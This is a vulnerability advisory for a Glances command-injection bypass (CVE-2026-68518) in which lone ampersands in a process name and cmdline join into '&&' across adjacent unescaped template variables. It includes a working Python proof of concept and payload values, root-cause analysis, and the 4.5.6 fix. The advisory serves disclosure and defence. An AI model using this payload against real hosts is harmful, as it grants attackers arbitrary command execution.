CVE-2026-68518: glances Action-Template Sanitizer Bypass via Cross-Field Shell-Operator Reconstruction
A local unprivileged user can run arbitrary commands as the Glances process owner by naming a process so that a single ampersand at the end of one Mustache template variable and a single ampersand at…

The problem
Glances lets admins configure shell-command templates that fire when a monitoring threshold is crossed. Those templates are filled with live stat fields such as process name and command line, fields a local user fully controls by naming a process.
The sanitizer in glances/actions.py strips &&, |, >>, and > from each template variable individually before rendering. It never touches a lone &. When an action template places two unescaped Mustache variables side-by-side ({{{name}}}{{{cmdline}}}) and the attacker makes the first value end with & and the second begin with & <cmd>, Chevron concatenates them into a literal && in the rendered command string, which secure_popen() then splits and executes.
Proof of concept
A working proof-of-concept for CVE-2026-68518 in glances, with the exact payload below.
# glances.conf action template (admin-configured, unescaped adjacent variables)
# critical_action=logger p={{{name}}}{{{cmdline}}}
# Attacker controls process name and cmdline (e.g. via /proc or container name):
# name = "evilproc&"
# cmdline = "& touch /tmp/glances_crossfield_pwned"
#
# After _sanitize_mustache_dict(): each value keeps its lone '&' (not in blocklist).
# After chevron.render(): cmd_full = "logger p=evilproc&& touch /tmp/glances_crossfield_pwned"
# secure_popen() splits on '&&' and executes: touch /tmp/glances_crossfield_pwned
# End-to-end PoC (repro.py) against glances==4.5.5
import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions
MARK = "/tmp/glances_crossfield_pwned"
try: os.remove(MARK)
except FileNotFoundError: pass
class Args:
time = 0
ga = GlancesActions(args=Args())
item = {
'name': 'evilproc&',
'cmdline': '& touch %s' % MARK,
'pid': 1337,
'cpu_percent': 99.0,
'key': 'pid'
}
ga.status.clear()
ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL",
["logger p={{{name}}}{{{cmdline}}}"],
repeat=True, mustache_dict=item)
time.sleep(0.5)
print("INJECTED" if os.path.exists(MARK) else "blocked")The root cause is that _sanitize_mustache_dict() sanitizes each template value in isolation before rendering, so a lone & in any value passes the filter untouched. Chevron's unescaped triple-brace syntax ({{{ }}}) emits values verbatim (no HTML entity encoding), so a trailing & from field A and a leading & from field B are literally concatenated into && in the final command string. secure_popen() then splits that string on && and spawns each segment as a separate subprocess.Popen(shell=False) call, giving the attacker arbitrary execution.
The same split-character trick applies to > (split across two fields as > + > reconstructs >>) and to |. Standard double-brace {{ }} templates are not affected because Chevron HTML-encodes & to &, which secure_popen() does not interpret as an operator.
The CWE is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The fix in 4.5.6 extends the per-field blocklist to include lone &, |, >, and <, so no operator character survives on either side of a variable boundary.
The fix
Upgrade to **glances 4.5.6**. The patch (commit 9c280eae) extends _sanitize_mustache_dict() to replace lone &, |, >, and < with spaces in every template value, removing the individual characters that could be reconstructed into operators across adjacent variable boundaries.
If immediate upgrade is not possible, avoid action templates that place two unescaped ({{{ }}} or {{& }}) Mustache variables directly adjacent with no separator character between them.
Reported by tonghuaroot.
Related research
- highCVE-2026-68519CVE-2026-68519: Glances --disable-config-exec Bypass via On-Alert Action OS Command Injection
- high · 7.8CVE-2026-53925CVE-2026-53925: Glances Arbitrary File Write via secure_popen Operator Injection in AMP Configuration
- high · 7.5GitPython: OS Command Injection via --template in clone_from
- high · 8.8GitPython: OS Command Injection via Single-Character Kwarg Value Token Smuggling